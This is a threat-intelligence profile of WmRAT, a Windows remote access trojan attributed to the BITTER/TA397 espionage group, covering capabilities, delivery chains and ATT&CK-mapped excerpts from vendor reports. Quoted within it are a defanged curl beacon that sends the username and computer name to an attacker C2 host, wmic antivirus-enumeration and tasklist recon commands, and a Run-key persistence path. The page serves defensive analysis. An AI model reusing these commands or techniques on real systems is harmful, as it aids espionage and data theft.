WmRAT
- Type
- RAT
- Capabilities
- ReconnaissanceExfiltrationPersistenceDefense evasionPost exploitation
- Delivery
- SpearphishingLure
- Platforms
- Windows
WmRAT is a C++ remote access trojan for Microsoft Windows used by the cyberespionage group BITTER, also tracked as TA397. First observed in 2022, it provides remote surveillance, intelligence collection, and data exfiltration. Documented deployments include attacks against a Turkish defense organization, Pakistani telecommunications personnel, and organizations in South Asia.
WmRAT collects system information, including usernames and hostnames, enumerates logical drives and directory contents, captures screenshots, retrieves geolocation information, and supports file uploads and downloads. Operators can execute arbitrary commands through the Windows command shell or PowerShell. Documented variants also retrieve file timestamps and disk-usage information and support remote file writing. The malware uses numerical command identifiers, and variants conceal command-and-control configuration through character transformations or XOR encoding. Anti-analysis behavior includes junk threads and repeated sleep calls that create execution noise. A documented variant establishes persistence through a per-user Windows Registry startup entry.
Delivery chains include spearphishing with malicious archives and shortcuts, Windows Installer packages deployed following operator reconnaissance, and malicious Excel web-query attachments leading to scripts that reconstruct and execute the payload. WmRAT has also been downloaded as a secondary implant by PapRAT following an invitation-themed archive and WebDAV-based shortcut chain. It is a distinct malware family from MiyaRAT, another C++ remote access trojan used by BITTER.
Associated threat actors
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Fortinet also observed PapRAT retrieving a secondary executable, vnces.exe, identified as WmRAT. WmRAT is a C++ remote access trojan previously associated with BITTER activity.
only the subsequent issuance of wmrat and .net Trojans are very difficult to bypass the characteristics of the checking and killing function
Techniques & procedures
27 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
2 techniques
Initial Access
The tactics of these groups have hardly changed much from 2019 to the present... but the phishing mode by casting a wide net can still affect government and enterprise customers to a certain extent.
EclecticIQ analysts observed that Bitter APT very likely targeted the Pakistan Telecommunication Company Limited (PTCL) workers in a spear phishing campaign... The malicious email, received on Wednesday, May 7, 2025, at 12:09 PM, contained an Internet Query (IQY) attachment with a malicious Excel macro.
Execution
6 techniques
Execution
The attack chain used... a shortcut (LNK) file that created a scheduled task on the target machine to pull down further payloads... the command then set up a scheduled task named “DsSvcCleanup”.
BDarkRAT includes standard RAT capabilities such as executing shell commands, downloading files, and managing files on the compromised system.
These commands are typically issued over the same C2 channel and can be executed on the victim machine using either PowerShell or the Windows command prompt.
8 commandes C2 : msg (shell) ... WmRAT ... exécution de commandes.
Upon opening the IQY attachment, the victim’s system executed an Excel macro with the following command...
putting aside the initial attack payload chm, lnk and other outdated technologies...
Persistence
3 techniques
Persistence
The attack chain used... a shortcut (LNK) file that created a scheduled task on the target machine to pull down further payloads... the command then set up a scheduled task named “DsSvcCleanup”.
WmRAT establishes persistence using the Windows Registry... add a registry key under: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
The registry entry points to vcswin.exe in C:\ProgramData. Finally, vcswin.exe is executed, establishing persistence for the malware to run on system startup.
Privilege Escalation
2 techniques
Privilege Escalation
The attack chain used... a shortcut (LNK) file that created a scheduled task on the target machine to pull down further payloads... the command then set up a scheduled task named “DsSvcCleanup”.
The registry entry points to vcswin.exe in C:\ProgramData. Finally, vcswin.exe is executed, establishing persistence for the malware to run on system startup.
Stealth
4 techniques
Stealth
EclecticIQ analysts reverse-engineered the WmRAT variant and discovered that its command-and-control (C2) server was hidden within the rdata section of the malware as an XOR-encrypted string.
The script... downloads a payload that is disguised as a PNG image file (vcswin.png)... The script reconstructs a valid PE file by crafting an MZ header in memory and appending it to the binary payload.
WmRAT also employs some kind of anti-analysis by creating a number of junk threads. The threads loop for 1000 times just to get basic machine information. This is possibly done to generate noise in the logs of the victim’s environment. It also frequently calls the Sleep function throughout the code as an evasion technique.
This blog post details TA397’s usage of NTFS alternate data streams (ADS) in combination with PDF and LNK files to gain persistence... The second ADS is the “Participation” ADS. Inside the “Participation” stream was a base64 encoded PowerShell blob.
Defense Impairment
1 technique
Defense Impairment
WmRAT establishes persistence using the Windows Registry... add a registry key under: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Discovery
7 techniques
Discovery
This scheduled task attempted to send target host information (username and computer name) with the curl utility every 17 minutes... GET hxxp://jacknwoods[.]com/jacds.php?jin=%computername%_%username%
tasklist >> abc.pdf
Reconnaissance via curl vers goodnfortunes[.]com, collecte de données système envoyées en POST ... WmRAT ... capable de collecte système.
FDD (listing) ... GDR (drives) ... WmRAT ... listing de fichiers.
WmRAT also employs some kind of anti-analysis by creating a number of junk threads. The threads loop for 1000 times just to get basic machine information. This is possibly done to generate noise in the logs of the victim’s environment. It also frequently calls the Sleep function throughout the code as an evasion technique.
wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName >> abc.pdf
WmRAT... can... get geolocation data of the target machine... supported commands... 21: get geolocation information
Collection
3 techniques
Collection
KiwiStealer searches through the following predefined list of directories to gather files.
SS1 (screenshot) ... WmRAT ... capable de collecte système, screenshots.
The email included a compressed archive (RAR) file attachment containing a decoy PDF (~tmp.pdf) file... a shortcut (LNK) file masquerading as a PDF... and an Alternate Data Stream (ADS) file that contained PowerShell code.
Command and Control
3 techniques
Command and Control
EclecticIQ analysts observed that WmRAT communicates with a remote C2 server using HTTP GET requests over HTTPS (port 443).
Téléchargement de WmRAT (vnces.exe) via la commande DWW de PapRAT.
WmRAT is a remote access trojan (RAT)... can gather basic host information, upload or download files, take screenshots, get geolocation data... and run arbitrary commands via cmd or PowerShell.
Exfiltration
1 technique
Exfiltration
According to reverse engineered sample (vcswin.png), analysts gathered list of WmRAT capabilities... Supports file exfiltration and remote file stream writing
Observables
22 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
21 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.